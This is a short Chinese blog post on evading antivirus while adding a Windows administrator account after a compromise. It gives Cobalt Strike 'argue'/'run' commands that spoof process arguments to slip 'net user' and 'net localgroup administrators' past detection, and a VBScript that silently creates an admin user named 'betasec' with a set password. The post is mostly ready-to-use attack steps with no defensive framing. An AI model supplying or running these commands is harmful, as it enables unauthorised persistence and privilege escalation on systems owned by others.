绕过杀毒软件添加账号

ゞ浴缸里的玫瑰 2023-01-06 11:58 284阅读 0赞

### 文章目录 ###

*  1.使用CS
 *   *  绕过拦截
 *  2.使用vbs文件
 *  3.参考文章

# 1.使用CS #

使用CS直接用shell添加会被拦截。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][20210114170855224.png]

## 绕过拦截 ##

使用argue命令来伪装命令的参数，然后使用run来执行，逻辑是：

1.  以挂起状态启动匹配的进程（使用伪参数）
2.  使用实参更新进程内存
3.  恢复进程

效果如下，且没有被拦截：

argue net saldjfoiwjeofijoisfklasjdlfjasdfiowjefoijwoefjoaisjefojsaefoiwejfowef
    run net user asdf 123 /add
    run net localgroup "administrators" asdf /add
    net user
    net localgroup administrators

![在这里插入图片描述][2021011417130360.png]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

![在这里插入图片描述][20210114172837203.png]

`不过在删除用户的时候还是会有弹窗`

# 2.使用vbs文件 #

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os)
    Set oe=GetObject(os&"/Administrators,group")
    Set od=ob.Create("user","betasec")
    od.SetPassword "pass!@#!23"
    od.SetInfo
    Set of=GetObject(os&"/betasec",user)
    oe.add os&"/betasec"

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

# 3.参考文章 #

[绕过反病毒添加管理员用户小结][Link 1]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221119/a3245efdcd7c4cd6a33692aab66d2e4d.png
[20210114170855224.png]: /images/20221119/0df41ac5ad874245b4f50a66387696fc.png
[2021011417130360.png]: https://img-blog.csdnimg.cn/2021011417130360.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20210114171253958.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[20210114172837203.png]: https://img-blog.csdnimg.cn/20210114172837203.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20210114172039289.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[Link 1]: https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg